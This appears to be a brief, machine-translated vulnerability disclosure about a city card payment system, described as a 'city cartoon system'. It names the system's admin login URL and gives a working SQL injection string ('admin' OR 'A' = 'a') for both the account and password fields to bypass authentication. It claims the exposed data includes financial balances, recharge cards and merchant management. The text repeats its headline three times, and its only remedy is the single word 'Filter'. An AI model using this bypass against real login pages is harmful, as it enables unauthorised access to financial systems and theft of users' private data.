A city cartoon system has a severe privilege escalation vulnerability, which may cause a large amount of financial data leakage.

A city cartoon system has a severe privilege escalation vulnerability, which may cause a large amount of financial data leakage.

 

A city cartoon system has a severe privilege escalation vulnerability, which may cause a large amount of financial data leakage.

Phoenix bank business background address
 

Http://www.chengtongka.com/shgllogin.php

Account: admin' OR 'A' = 'a password: admin' OR 'A' = 'a

Attackers can bypass unauthorized access to the background for management.

Financial and user privacy Leakage

Real-time amount: 600 million
 

Unused recharge card
 

User Financial Privacy
 

Merchant management Modification
 

 

Solution:

Filter